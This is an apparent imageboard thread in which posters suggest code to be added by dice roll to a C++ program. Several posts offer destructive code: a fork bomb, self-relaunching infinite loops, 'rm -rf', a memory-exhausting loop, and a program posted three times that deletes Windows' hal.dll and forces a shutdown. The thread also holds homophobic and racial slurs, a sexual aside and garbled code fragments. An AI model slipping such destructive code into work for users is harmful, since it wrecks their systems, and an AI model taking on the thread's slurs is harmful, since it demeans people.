Sup Forums Attempts to program with c++

Sup Forums Attempts to program with c++.
>Rules:
>1 - Roll for 0, 9, dubs, trips, ect...
>2 - If a roll isn't code, it is put in as a comment.
>3 - If the written code is a class, struct, or function. I will put it above int main(), else it will get tagged on the end of main.
>4 - You cannot return from main ending this whole experiment unless trips or higher are rolled.

Other urls found in this thread:

wiki.theory.org/index.php/YourLanguageSucks#Python_sucks_because
twitter.com/SFWRedditGifs

Import Sup Forums

OP = "Faggot"

for homosex in OP:
print "OP is a giant trap loving queer"


>not using python

void recurse()
{
recurse();
}

int main(void){ return main(); }

main();

All languages suck faggot.
>wiki.theory.org/index.php/YourLanguageSucks#Python_sucks_because

#include
int main(int argc, char **argv){
while (1) system(argv[0]);
return 0;
}

INTERCAL sucks most.

so far

recurse();

GOTO 10

This could end badly.....

class Cube {
public:
Cube(){
float vertices[]{
// positions // normals // texture coords
//Back Face
-0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.25f, ONETHIRD,//Back Bottom Left
0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.5f, ONETHIRD,//Back Bottom Right
0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.5f, TWOTHIRDS,//Back Top Right
0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.5f, TWOTHIRDS,//Back Top Right
-0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.25f, TWOTHIRDS,//Back Top Left
-0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.25f, ONETHIRD,//Back Bottom Left
//Front Face
-0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, ONETHIRD,//Front Bottom Left
0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.75f, ONETHIRD, //Front Bottom Right
0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.75f, TWOTHIRDS, //Front Top Right
0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.75f, TWOTHIRDS, //Front Top Right
-0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, TWOTHIRDS, //Front Top Left
-0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, ONETHIRD, //Front Bottom left
//Left Face
-0.5f, 0.5f, 0.5f, -1.0f, 0.0f, 0.0f,
cont...

Oh fuck I messed up the copy paste. I guess you'll have to finish

Dammit I forgot the constants too. Just forget it

...

kek

#include
pid_t PID = 0
while(true){
PID = fork();
}

rm -rf -a ;)

if false goto [0]
end

#include

using namespace nigger::nig;

int nigger(int nigger, char **nigs)
{
if(nigger > 0)
{
nigger(nigs[1]);
}
return nigger;
}

I'd just like to interject for a moment. What you're referring to as "C++" is in fact C/C++, or C+C++ as I've recently taken to calling it.

Why?

Put this in

...

for (;;)
std::system(argv[0]);

Hey there, where's my code?

Well technically we haven't agreed upon which standard we're using. Are we using C++98, 03, 11, or 14?

I'll turn it into a function

14

17 my nigga

int *p = &a;
while(1) {
*p = "faggot";
p++;
}

flip a coin?

...

Not gonna add my mini fork bomb in...cmon bud?!:D :C

FILE *bt;
If(argc != 0)
{
Bt=Fopen(argv,"rw");
};

double* pointer;
int i = 1;
while(true)
{
pointer = new arr[i];
i++;
}

I'm scared to run that on my computer, sorry mate.

Why ide is that? And why do you prefer black?

Eclipse brah

>IDE
Vim
>Why do you prefer black bg?
I don't really, I switch up my colors every few months.

>being this retarded

Agreed

>using the assignment operator in an if statement

You better be using your own fucking compiler OP

g++ works for me, fuck off.

There's actually nothing wrong with that, so long as there is some sort of relational operator, which she definitely does not have

>she

class user{
public:
user();
user ( bool );
bool getIsOP();
bool getIsFaggot();
void setIsOP ( bool );
void setIsFaggot ( bool );
friend std::ostream& operator

???

I poopie my pants

easy on the eyes, especially you spend several hours programming

Plz responder mys pust

>hurr durr I knows OOP

nobody gives a shit about your cute little friend declaration, faggot. $1000 says you have no friends IRL.

After years of using vim, I'm moving to an IDE to do c# shit. is vscode good enough?

That was unnecessarily aggressive. Who hurt you?

Listen kiddo, i bet you couldnt decode a base64 from a binary string. I know all of the encodings and encryptions from the back of my hand. I could send you a virus right now and make your puter that your mommy bought you go byebye. See my display name? Yep, I'm in anonymous. I'm the leader actually. I've ran multiple operations on hidden deepdarknet mIRCs and could onion route your null ping from icmp using tracer-t to dox the site you're currently on. I'm currently telneting your http client ports to send to my kali linux, where I have access to a range of tools, which I'll use each one to slowly dissect your ip address until it becomes 0, you'll be ddos'd for an entire lifetime.

isgoodthing.jpeg

right?

current state.

I win mys risponc no do noc good win u

Question: Do you do anal? Enjoy it? Would you let your guy eat out your bum?

while(1){

This is going nowhere..

i me win bum wen we it good

// in main
user OP ( true );
std::cout

stupid fucking chink 'software engineers', that's who. HURRR DURRR let's write 43938492043 classes full of useless mutators and accessors that don't fucking accomplish anything. fuck your encapsulation, fuck you, i hope you drown

TRY ME I GOT A TCP 0DAY

!*?l

Mungoball

Kek I don't mean to post that itt, was asking a femanon in a vocaroo thread

Why doesn't c have an exponentiation operator?

recurse();

TCP is inferior to PCP. You can't kill a neighborhood with TCP. I doubt so much as ever make as little as they are with bigger than it is. WHYNOSHUNT?,,,,,,!!!!

I don't like you.

void fizzbuzz ( int n ){
for ( int i = 0; i < n; i++ ){
if ( i % 3 == 0 && i % 5 == 0 ){
std::cout

Krk

return EXIT_FAILURE;

#include

The absolute madman

poopinhed>comd.rtyu.exk

I don't have this lib...

go watch handmade hero
you'll learn to love it

What??

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

Do you have any graphical capabilities?
If Xorg then forget it.

%triforce

reroll for this
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

I don't usually write GUI code, but I have QT5, and sfml installed. Also, i'm on wayland if that will help whatever you want to write.

HTML is superior because reply to this code or your mom Will be web designer

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

...

OP time to run

...

}

why the int argc, char *argv[]? What are you some kind of Java queer?

printf("Welcome to the Sup Forums adventure!\nChoose your class:");

...

int c = getchar ();
int Status = 0;
While (c != EOF)
{
if (c == '\n' || c =='\t' || c == ' ')
{Status = 0; printf ("\n")}
Else if (Status == 0)
{Status = 1}
If (Status = 1)
putchar (c);

c = getchar ();
}

He's not using stdio

I add in the libs as needed

OP your missing some.